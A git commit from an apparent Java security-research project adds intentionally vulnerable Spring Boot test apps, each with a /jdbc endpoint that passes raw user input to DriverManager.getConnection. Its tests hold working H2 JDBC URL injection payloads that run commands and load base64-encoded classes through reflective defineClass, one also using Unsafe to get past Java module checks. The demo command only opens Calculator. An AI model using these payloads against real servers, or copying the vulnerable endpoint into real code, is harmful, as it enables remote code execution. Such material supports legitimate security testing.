feat: support H2 packer

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent bb4bcb956c
commit db96872fa4
22 changed files with 341 additions and 10 deletions
+3 -1
View File
@@ -1,6 +1,8 @@
FROM openjdk:8
FROM openjdk:8-jre
WORKDIR /app
RUN apt-get update && apt-get install -y procps && rm -rf /var/lib/apt/lists/*
COPY build/libs/vul-springboot2.jar /app/app.jar
EXPOSE 8080
+8
View File
@@ -6,6 +6,10 @@ plugins {
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
targetCompatibility = JavaVersion.VERSION_1_8
sourceCompatibility = JavaVersion.VERSION_1_8
}
@@ -15,6 +19,10 @@ dependencies {
implementation("net.bytebuddy:byte-buddy:1.10.10")
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testImplementation("org.junit.jupiter:junit-jupiter-api")
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2")
}
tasks.test {
@@ -0,0 +1,31 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
/**
* @author ReaJason
* @since 2025/6/27
*/
@RestController
public class JDBCController {
@PostMapping("/jdbc")
public void JDBC(String data) throws Exception {
try {
Connection connection = DriverManager.getConnection(data);
connection.close();
} catch (Throwable e) {
Throwable ex = e.getCause();
while (ex.getCause() != null) {
ex = ex.getCause();
}
if (!(ex instanceof ClassCastException)) {
throw e;
}
}
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.vul.springboot2.controller;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class CommandExec {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
}
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/6/28
*/
class JDBCControllerTest {
@Test
void testJDBC() throws Exception {
JDBCController jdbcController = new JDBCController();
String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw==";
String ss = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
"String a(String a) throws java.lang.Exception{" +
"byte[] bytes=null\\;" +
"String base64Str=\"" + b64Bytecode + "\"\\;" +
" try {\n" +
" bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
" } catch (java.lang.Exception var6) {\n" +
" bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" +
" }" +
"java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
"defineClassMethod.setAccessible(true)\\;" +
"java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
"myclass.newInstance()\\;" +
"return null\\;" +
"}'\\;" +
"CALL look('')";
jdbcController.JDBC(ss);
}
@Test
void testScriptJDBC() throws Exception {
JDBCController jdbcController = new JDBCController();
String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw==";
String ss = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"var base64Str = \"" + b64Bytecode + "\"\\;var bytecode\\;try { bytecode = java.util.Base64.getDecoder().decode(base64Str)\\;} catch (ee) { bytecode = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;}var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass())\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt])\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length))\\;clazz.newInstance()\\;$$";
jdbcController.JDBC(ss);
}
}
+9
View File
@@ -14,4 +14,13 @@ java {
dependencies {
implementation("org.springframework.boot:spring-boot-starter-web")
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testImplementation("org.junit.jupiter:junit-jupiter-api")
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
/**
* @author ReaJason
* @since 2025/6/27
*/
@RestController
public class JDBCController {
@PostMapping("/jdbc")
public void JDBC(String data) throws Exception {
try {
Connection connection = DriverManager.getConnection(data);
connection.close();
} catch (Throwable e) {
Throwable ex = e.getCause();
while (ex.getCause() != null) {
ex = ex.getCause();
}
if (!(ex instanceof ClassCastException)) {
throw e;
}
}
}
}
@@ -0,0 +1,15 @@
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class CommandExec {
static {
try {
java.lang.Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
}
}
}
@@ -0,0 +1,54 @@
import com.reajason.javaweb.vul.springboot3.controller.JDBCController;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class JDBCTest {
@Test
void testJDBC() throws Exception {
JDBCController jdbcController = new JDBCController();
String funcionName = "testJDBC";
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
"String shellexec(String abc) throws java.lang.Exception{" +
"java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
"return \"test\"\\;" +
"}'\\;" +
"CALL " + funcionName + "('123')";
jdbcController.JDBC(str);
}
@Test
void testJDBC2() throws Exception {
JDBCController jdbcController = new JDBCController();
String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
"String a(String a) throws java.lang.Throwable{" +
"String base64Str=\"" + b64Bytecode + "\"\\;" +
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
"try {" +
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
" unsafeField.setAccessible(true)\\;" +
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
"} catch (Throwable e) {}" +
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
"defMethod.setAccessible(true)\\;" +
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
"myclass.newInstance()\\;" +
"return null\\;" +
"}'\\;" +
"CALL look('')";
System.out.println(str);
jdbcController.JDBC(str);
}
}